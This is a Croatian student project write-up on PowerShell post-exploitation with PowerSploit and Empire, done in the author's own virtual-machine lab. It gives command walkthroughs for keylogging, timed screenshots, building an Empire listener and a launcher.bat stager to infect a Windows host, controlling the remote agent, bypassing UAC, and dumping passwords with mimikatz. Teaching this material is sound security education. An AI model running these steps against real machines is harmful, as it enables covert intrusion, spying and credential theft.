Korištenje Windows PowerShella u posteksploataciji
Danijel Filipović, 44423/15-R
Sadržaj |
Uvod
U ovom projektu obraditi će se tema korištenja PowerShell-a za posteksploataciju. Specifično, obradit će se dva, popularna, alata koja koriste PowerShell u svrhu posteksploatacije: PowerSploit od grupe PowerShell Mafia i Empire od grupe PowerShell Empire.
O PowerShell-u
PowerShell, prema dokumentaciji koju je napisao Microsoft[1], je naredbena ljuska i skriptni jezik koji je napravljen u .Net Framework-u i koji je dizajniran za sistemsku administraciju, odnosno pomaže korisnicima da automatiziraju administraciju Windows operacijskog sustava i Windows aplikacija. Osim same administracije, PowerShell omogućava korisnicima da kreiraju vlastite skripte, tj. module.
PowerShell se temelji na objektima, odnosno sve naredbe primaju objekte kao ulazne parametre i vraćaju objekte kao izlazne rezultate.[2]
Grupa PowerShell Empire[4] navodi da PowerShell nudi raznolike ofenzivne mogućnosti, na primjer: potpuni pristup .NET Framework-u, direktan pristup Win32 API-u, mogućnost slaganja malicioznog koda u memoriji, itd.
PowerSploit
PowerSploit je skup PowerShell modula koji se mogu koristiti u svrhu penetracijskog testiranja [3].Razvila ga je grupa zvana PowerShell Mafia.
Sastoji se od sljedećih modula [3]:
- CodeExecution - izvršava DLL, EXE ili shellcode kodove,
- ScriptModification - modificira skripte i/ili priprema skripte za izvršavanje na računalu,
- Persistence - čini skripte perzistentnima,
- AntivirusBypass - omogućuje zaobilaženje/skrivanje od anti-virusnih programa,
- Exfiltration - omogućuje krađu podataka,
- Mayhem - "cause general mayhem with PowerShell",
- Privesc - unaprijeđuje/podiže povlastice,
- Recon - alati za recon fazu penetracijskog testiranja.
Instalacija
PowerSploit modul je dostupan na GitHub-u. Može se preuzeti ili normalno ili se može klonirati cijeli Git repozitorij koristeći git pull
(trebate imate instalirani Git na računalu). Nakon preuzimanja treba u varijablama okruženja (engl. environmental variables) u varijablu PSModulePath dodati putanju do direktorija koji sadrži direktorij s PowerSploit modulima.
Primjer: ako je putanja do direktorija s modulima C:\Modules\PowerSploit\
, tada u varijablu PSModulePath treba dodati C:\Modules\
.
Nakon dodavanja putanje u varijablu okruženja PSModulePath modul se unutar PowerShell naredbene ljuske uključuje sljedećom naredbom:
C:\> Import-Module PowerSploit
Primjer: Keylogging
Sljedeća naredba pokrenut će keylogging proces koji se zakači na PowerShell-ov proces, a koji će zapisivati sve tipke koje su stisnute u datoteku "log.txt".
C:\> Get-KeyStrokes -LogPath "C:\log.txt" -PollingInterval 35
Parametar PollingInterval predstavlja vremenski razmak u milisekundama unutar kojeg će proces čekati prije nego zapiše sljedeću tipku.
Primjer: Tajmirani sceenshot-i
Sljedeća naredba pokreće proces, koji se zakači na PowerShell-ov proces, koji će svakih 20 sekundi uzeti screenshot i pohraniti u danu putanju. Parametar EndTime određuje vrijeme prestanka procesa.
C:\> Get-TimedScreenshot -Path "C:\TEMP" -Interval 20 -EndTime 23:40
Empire
Empire je kolekcija PowerShell modula za post-eksploataciju koju je napravila grupa zvana PowerShell Empire [4]. Oni navode da je Empire izgrađen na "kriptografsko-sigurnim komunikacijama" i "fleksibilnoj arhitekturi" [4]. Iako se radi o kolekciji PowerShell modulu, Empire se može jedino instalirati na GNU/Linux operacijskim sustavima.
Instalacija
Da bi se instalirao Empire potrebno je imati GNU/Linux operacijski sustav. Instalacijske datoteke se preuzimaju sa GitHub repozitorija ovog projekta (može se preuzeti normalno ili korištenjem Git naredbe git clone
.
Nakon preuzimanja treba navigirati u direktorij [direktorij-gdje-je-preuzet-empire]/Empire/setup/
i unutar naredbene ljuske GNU/Linux operacijskog sustava pokrenuti naredbu sudo ./install.sh
. Skripta će instalirati programske zavisnosti (engl. dependencies) o kojima Empire ovisi i konfigurirati backend bazu podataka.
Za pokretanje Empire-a treba navigirati u direktorij Empire/
i u naredbenoj ljuski pokrenuti naredbu ./empire
. Prikazat će se početni meni od Empire-a kao na slici.
Primjer: Kreiranje osluškivača
[Primjer baziran na tutorijalu: https://www.youtube.com/watch?v=OpC8AC5cKT0]
Unutar Empire-a upiše se sljedeća naredba:
(Empire)> listeners
Naredba listeners
otvorit će posebnu karticu koja omogućuje kreiranje, brisanje i ažuriranje prisluškivača. Ako se prvi put koristi Empire ili se osluškivaču nisu aktivirali, prilikom poziva ove naredbe pokazat će se sljedeća poruka:
[!] No listeners currently active.
To samo znači da ili osluškivači nisu aktivni ili nismo inficirali računalo s osluškivačem.
Sljedeća naredba ispisat će popis svih kreiranih osluškivača (treba se nalaziti u kartici listeners):
(Empire: listeners)> info
Na početku postoji samo jedan osluškivač zvan "test". Slika s lijeve strane ovog teksta pokazuje primjer ispisa naredba info
.
Osluskivač "test" se ne može koristiti jer Empire (zbog nekog razloga) ne dopušta kreiranje osluškivača s tim imenom. No, jednostavno možemo preimenovati postojeći osluškivač. Preimenovanje se vrši sa sljedeće dvije naredbe:
(Empire: listeners)> set Name osluskivac (Empire: listeners)> execute
Osluškivač "test" je u gornjem primjeru preimenovan u "osluskivac". Sa sljedeće dvije naredbe kreirat će se Windows Batch datoteka koja se pošalje računalu koje se želi inficirati:
(Empire: listeners)> usestager launcher_bat osluskivac (Empire: stager/launcher_bat)> execute
U mapi /tmp/
kreirat će se launcher.bat datoteka. Kreirana Windows Batch datoteka otvoriti će nam pristup PowerShell naredbenoj ljuski na inficiranom računalu. Sada je potrebno jedino poslati tu datoteku računalu koje pokreće Windows operacijski sustav (7, 8 ili 10).
Ako je računalo koje pokreće Windows operacijski sustav inficirano, Empire će pokazati poruku o aktivnom osluškivaču i dat će nam IP adresu inficiranog računala (slika lijevo, tekst sa zelenim slovima).
U vlastitom primjeru autora ovog rada koristio se Windows 7 operacijski sustav pokrenut preko VirtualBox-a. Desna slika pokazuje ispis ipconfig
naredbe kao dokaz da je operacijski sustav inficiran s osluškivačem.
Primjer: Spajanje na remote PowerShell
[Primjer baziran na tutorijalu: https://www.youtube.com/watch?v=dIKYl9hMJxQ]
Nastavlja se sa prethodnog primjera, unosom sljedeće naredbe pokazat prebacit će se na agents karticu i ispisati će se popis aktivnih agenata, tj. osluškivača koji su uspostavili vezu za remote PowerShell-om i našim Empire-om (lijeva slika pokazuje taj popis):
(Empire)> agents
Naredbom interact
stvorit će se veza sa remote PowerShell-om. Kao parametar naredbi interact
ide ime agenta koje se vidi u lijevoj slici, tako da će slušaj iz lijeve slike naredba izgledati ovako:
(Empire: agents)> interact Y2KH2PwSWSUEKLSU
Sada kada je ostvarena veza sa remote PowerShell-om mogu se pozivati naredbe iz njega, kao npr. systeminfo
da vidimo sistemske informacije inficiranog računala. Unutar Empire-a naredba će izgledati ovako:
(Empire: Y2KH2PwSWSUEKLSU)> shell systeminfo
Rezultat te naredbe vidi se na slici desno.
Primjer: Ispis lozinki sa inficiranog računala
[Primjer baziran na tutorijalu: https://www.youtube.com/watch?v=dIKYl9hMJxQ]
Nastavlja se s prethodnim primjerom. Da bi se napravio ispis lozinki sa inficiranog računala treba pokrenuti mimikatz dok postoji veza s aktivnim agentom na inficiranom računalu. Mimikatz je mali alat koji dohvaća lozinke (u plain-text obliku), hash-eve, itd. iz memorije inficiranog računala.
No, da bi pokrenuli mimikatz trebamo zaobići User Account Control na inficiranom računalu jer, ako se ne zaobiđe UAC, dobivat ćemo poruku o preniskim privilegijama na računalu. U praksi se treba provjeritiima li inficirano računalo dobru "obranu" od našeg upada, ali kako se u ovom računalu radi o svježe instaliranom Windows 7 operacijskom sustavu na VirtualBox-u dovoljno je samo pozvati naredbu bypassuac
. Naredba bypassuac
kao parametar prima ime ili ID osluškivača koji se nalazi na inficiranom računalu.
(Empire: Y2KH2PwSWSUEKLSU)> bypassuac osluskivac
Treba pričekati nekoliko sekundi da bypassuac
izvrši svoje. Izvršavanjem ove naredbe kreirat će se novi aktivni agent koji je zaobišao UAC sa korisničkog računala. Na taj agent se jednostavno spojimo naredbom interact
kao u prethodnom primjeru.
Nadalje, samo pokrenemo mimikatz i čekamo ispis. Slika s lijeve strane prikazuje ispis koji je autor ovog rada (Danijel Filipović) dobio.
Literatura
- Microsoft. Scripting with Windows PowerShell. [Online] Dostupno na: https://technet.microsoft.com/library/bb978526.aspx (Pristupljeno: 16.01.2016.)
- Microsoft. About Windows PowerShell. [Online] Dostupno na: https://technet.microsoft.com/en-us/library/dd315275.aspx (Pristupljeno: 16.01.2016.)
- PowerShell Mafia. GitHub repozitorij za PowerSploit projekt. Dostupna na: https://github.com/PowerShellMafia/PowerSploit (Pristupljeno: 16.01.2016.)
- PowerShell Empire. http://www.powershellempire.com/ (Pristupljeno: 17.01.2016.)
--Danijel.filipovic 09:15, 18. siječnja 2016. (CET)